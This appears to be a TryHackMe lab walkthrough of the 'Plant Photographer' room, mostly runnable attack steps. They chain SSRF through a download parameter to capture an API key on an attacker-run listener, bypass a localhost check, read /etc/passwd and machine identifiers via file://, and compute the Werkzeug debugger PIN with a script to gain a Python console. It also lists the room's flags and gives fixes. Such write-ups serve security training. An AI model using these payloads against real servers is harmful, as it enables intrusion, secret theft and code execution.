TryHackMe Plant Photographer Walkthrough: SSRF, File Read, and Werkzeug RCE

TryHackMe Plant Photographer Walkthrough: SSRF, File Read, and Werkzeug RCE

3/31/2026

Room Overview

Room: Plant Photographer — TryHackMe Difficulty: Medium Category: Web Exploitation / SSRF / RCE

The premise of this room is simple: you're asked to look over a personal portfolio website built by a botanist-photographer to showcase his collection of rare plant photos. He built it from scratch and wants you to check if anything could be improved. What starts as a casual code review quickly turns into a full exploitation chain — SSRF, local file read, and Remote Code Execution through the Werkzeug debugger.


Target Overview

PropertyValue
IPMACHINE_IP
Web StackPython 3.10.7 / Flask / Werkzeug 0.16.0
App Path/usr/src/app/app.py
EnvironmentDocker container
Open Ports22 (SSH), 80 (HTTP → Werkzeug on 8087 internally)

Step 1: Reconnaissance with Nmap

First scan to figure out what we're working with:

sudo nmap -sS -A -p- MACHINE_IP -T5 -v

What the flags mean:

FlagMeaning
-sSSYN stealth scan — half-open, doesn't complete TCP handshake
-AAggressive mode: OS detection, version detection, scripts, traceroute
-p-Scan all 65535 ports
-T5Fastest timing template
-vVerbose output

Results:

PORT      STATE    SERVICE  VERSION
22/tcp    open     ssh      OpenSSH 8.2p1 Ubuntu
80/tcp    open     http     Werkzeug httpd 0.16.0 (Python 3.10.7)
22987/tcp filtered unknown

Port 80 is running Werkzeug — Flask's built-in development server. That's immediately interesting because:

  • If debug mode is enabled, there's an interactive Python console at /console
  • Any unhandled exception dumps full source code in the traceback
  • Neither of these should ever be in production

Port 22987 is filtered (not closed, not open) — probably a firewall rule. It turned out to be a red herring.


Step 2: Source Code Review — Finding the Attack Surface

I opened the site and hit View Page Source. Two things jumped out right away.

1. The download endpoint:

<a href="/download?server=secure-file-storage.com:8087&id=75482342">Download Resume</a>

Both server and id are user-controlled parameters passed directly into an outgoing HTTP request. That's a textbook SSRF sink — I control where the server sends requests.

2. A hidden Admin Area link in the mobile sidebar:

<a href="/admin"><span style="color: goldenrod">Admin Area</span></a>

The developer styled it in gold and hid it in the sidebar, probably thinking nobody would notice. But hiding a UI element doesn't restrict the route at all. Security through obscurity isn't security.


Step 3 (Q1): Stealing the API Key via SSRF

The app constructs a URL from the server parameter like this:

{server}/public-docs-k057230990384293/{filename}

Then it fires an outgoing HTTP request using pycurl, attaching an X-API-KEY header to it. Since I control server, I can redirect that request to my own machine and read the headers.

Setting up the listener

I needed raw netcat — Python's http.server only logs status codes, not headers.

nc -lvnp 8087

Triggering the SSRF

curl "http://MACHINE_IP/download?server=YOUR_THM_IP:8087&id=1"

Note: id has to be a valid integer — the app runs int(file_id) before appending .pdf. I tried id=test first, which threw a ValueError and triggered the Werkzeug error page. That actually leaked a SECRET value from the debugger as a bonus: ChZYyuR9F0puoEksCsBR.

What netcat captured:

GET /public-docs-k057230990384293/1.pdf HTTP/1.1
Host: YOUR_IP:8087
User-Agent: PycURL/7.45.1 libcurl/7.83.1 OpenSSL/1.1.1q
Accept: */*
X-API-KEY: THM{Hello_Im_just_an_API_key}

FLAG 1: THM{Hello_Im_just_an_API_key}

The developer hardcoded the API key assuming server would always point at their trusted storage service. It doesn't have to.


Step 4 (Q2): Bypassing the Admin IP Check via SSRF

Visiting /admin directly returns:

Admin interface only available from localhost!!!

After reading app.py via the file SSRF (covered next), I could see the actual check:

@app.route('/admin')
def admin():
    if request.remote_addr == '127.0.0.1':
        return send_from_directory('private-docs', 'flag.pdf')
    return "Admin interface only available from localhost!!!"

It's just an IP check. If I can make the server itself send a request to /admin, request.remote_addr will be 127.0.0.1 and it passes.

Finding the internal port

My first attempts with localhost:80 and localhost:5000 both failed with connection refused. I needed the actual port. Reading app.py via file SSRF showed:

app.run(host='0.0.0.0', port=8087, debug=True)

Internal port confirmed: 8087.

The ? injection trick

The URL the app builds is:

{server}/public-docs-k057230990384293/{filename}

If I set server=http://127.0.0.1:8087/admin?, the full constructed URL becomes:

http://127.0.0.1:8087/admin?/public-docs-k057230990384293/1.pdf

The ? converts everything after it into a query string. Flask's router sees a clean request to /admin originating from 127.0.0.1 — and serves the flag PDF.

curl "http://MACHINE_IP/download?server=http://127.0.0.1:8087/admin?&id=1" --output flag.pdf
xdg-open flag.pdf

FLAG 2: THM{c4n_i_haz_flagz_plz?}


Step 5 (Q3): File Read + Werkzeug PIN Crack → RCE

This phase had two parallel paths. I ran both.

Path A: Local File Read via file:// Protocol

pycurl supports the file:// protocol by default unless explicitly disabled. This means I can read any file on the server.

# Read the Flask app source
curl "http://MACHINE_IP/download?server=file:///usr/src/app/app.py&id=1"

# Read /etc/passwd — confirms the app runs as root
curl "http://MACHINE_IP/download?server=file:///etc/passwd&id=1"

# Read the MAC address
curl "http://MACHINE_IP/download?server=file:///sys/class/net/eth0/address&id=1"
# Result: 02:42:ac:14:00:02

# Read the Docker container ID from cgroup
curl "http://MACHINE_IP/download?server=file:///proc/self/cgroup&id=1"
# Result: 77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca

I also ran gobuster and confirmed /console returns HTTP 200 — the Werkzeug interactive debugger is live:

gobuster dir -u http://MACHINE_IP -w /usr/share/wordlists/dirb/common.txt -x txt -t 30

Path B: Cracking the Werkzeug Debugger PIN

The /console endpoint is PIN-protected. But the PIN is deterministically generated from machine values — all of which I can now read via file SSRF.

Here's what Werkzeug uses to compute the PIN:

ValueWhere to get itWhat I found
Username/etc/passwdroot
Module namehardcodedflask.app
App classhardcodedFlask
App file pathtraceback/usr/local/lib/python3.10/site-packages/flask/app.py
MAC as integer/sys/class/net/eth0/addressint('0242ac140002', 16)
Machine ID/proc/self/cgroup77c09e05c4a9... (Docker container ID)

PIN generator script:

import hashlib

probably_public_bits = [
    'root',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
    str(int('0242ac140002', 16)),  # MAC address as decimal integer
    '77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca'
]

h = hashlib.md5()
for bit in probably_public_bits + private_bits:
    h.update(bit.encode('utf-8'))
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
pin = '-'.join([num[:3], num[3:6], num[6:]])
print(f'PIN: {pin}')
python3 pin.py
# PIN: 110-688-511

Getting RCE through the console

Navigate to http://MACHINE_IP/console in the browser, enter 110-688-511, and the console unlocks.

import os
os.listdir('/usr/src/app')
# Output: ['requirements.txt', 'Dockerfile', 'templates', 'public-docs',
#          'private-docs', 'static', 'app.py', 'flag-982374827648721338.txt']

open('/usr/src/app/flag-982374827648721338.txt').read()

FLAG 3: THM{SSRF2RCE_2_1337_4_M3}

The filename — SSRF2RCE — tells the whole story.


Vulnerability Summary

1. SSRF via Unvalidated server Parameter

The server parameter is passed directly to pycurl with zero validation. An attacker can redirect it to internal services, their own server to steal headers, or use file:// to read local files.

Fix: Validate server against an allowlist. Restrict pycurl to HTTP/HTTPS only:

crl.setopt(crl.PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)
crl.setopt(crl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)

2. API Key Hardcoded in Source

The X-API-KEY value is literally written in app.py. Combined with SSRF, it's trivially exfiltrated.

Fix: Store secrets in environment variables. Never hardcode credentials.

3. Werkzeug Debug Mode in Production

app.run(debug=True) exposes a full Python console and stack traces with source code on any error. This is RCE waiting to happen.

Fix: Set debug=False in production. Use gunicorn or uWSGI instead of Flask's built-in server.

4. Admin Route Protected Only by IP Check

if request.remote_addr == '127.0.0.1':

Trivially bypassed via SSRF. There's no real authentication.

Fix: Use session-based authentication with a proper login/password flow.

5. file:// Protocol Not Disabled in pycurl

pycurl supports file://, ftp://, dict://, and more by default. Without explicit restriction, it reads arbitrary local files.

Fix: Explicitly limit protocols (see fix for vuln 1).


Attack Chain Summary

Recon (nmap)
  └─ Port 80: Werkzeug/Flask detected (debug mode suspected)

Source Review
  ├─ /download endpoint: user-controlled server param → SSRF sink
  └─ /admin endpoint: localhost-only IP check

SSRF #1 — Header Interception
  └─ /download?server=OUR_IP:8087&id=1
     └─ Captured X-API-KEY in outbound pycurl request → FLAG 1 ✓

Error Trigger (id=test)
  └─ ValueError → Werkzeug debugger exposed → SECRET leaked in JS

SSRF #2 — Local File Read (file://)
  ├─ Read app.py → internal port 8087 confirmed
  ├─ Read /etc/passwd → running as root
  └─ Read MAC address + Docker container ID

SSRF #3 — Localhost Bypass (?-injection)
  └─ /download?server=http://127.0.0.1:8087/admin?&id=1
     └─ Server requests own /admin as 127.0.0.1 → flag.pdf served → FLAG 2 ✓

Werkzeug PIN Crack
  └─ PIN 110-688-511 computed from gathered machine values
     └─ /console unlocked → os.listdir → flag file found → FLAG 3 ✓

Flags

QuestionFlag
API key used to retrieve files from the secure storage serviceTHM{Hello_Im_just_an_API_key}
Flag in the admin section of the websiteTHM{c4n_i_haz_flagz_plz?}
Flag stored in a text file in the server's web directoryTHM{SSRF2RCE_2_1337_4_M3}

One unvalidated parameter. Full server compromise. This room is a clean demonstration of how SSRF chains into LFI and then RCE when the underlying tooling isn't locked down.

$ table_of_contents